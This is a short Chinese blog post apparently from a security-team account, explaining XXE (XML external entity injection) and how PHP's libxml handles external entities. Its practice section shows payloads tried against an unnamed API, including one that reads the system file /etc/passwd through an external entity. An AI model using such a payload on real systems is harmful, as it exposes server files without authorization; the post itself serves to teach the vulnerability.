XXE 外部实体注入漏洞

最新推荐文章于 2024-04-14 14:03:30 发布

TaibaiXX1

最新推荐文章于 2024-04-14 14:03:30 发布

阅读量293

点赞数

文章标签：信息安全安全 xml 编程语言 spark

本文链接：https://blog.csdn.net/tangshuangsss/article/details/113156611

版权

点击"仙网攻城狮”关注我们哦~

不当想研发的渗透人不是好运维

让我们每天进步一点点

简介

XXE -"xml external entity injection"既"xml外部实体注入漏洞"。

概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"

也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。

以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

实战

XXE漏洞挖掘

1.xml是什么可以查看https://www.w3school.com.cn/x.asp网站哈，里面写的很详细，全栈攻城狮必备网站，基础就不过多介绍了，因为实在太多了，一篇文章写不下。

2.直接实战如何挖掘，这里有一个api接口，随便提交点啥。没反应，哈哈习惯了，直接跳过哈。

3.构造一个payload，直接输入即可，发现可以执行

<?xml version = "1.0"?><!DOCTYPE note [<!ENTITY hacker "ESHLkangi">]><name>&hacker;</name>

4.再次构造一个payload来读取任意文件，可以直接读取成功。

<?xml version="1.0"  encoding="UTF-8"?><!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><name>&xxe;</name>

5.总结，各位如果想要搭建测试环境建议使用下面文章中的方法，其他方法试了很多都无法复现该漏洞。

往期内容

敏感信息泄露漏洞实战

更多资讯长按二维码关注我们

专业的信息安全团队，给你最安全的保障。定期推送黑客知识和网络安全知识文章，让各位了解黑客的世界，学习黑客知识，普及安全知识，提高安全意识。

觉得不错点个“赞”呗

关注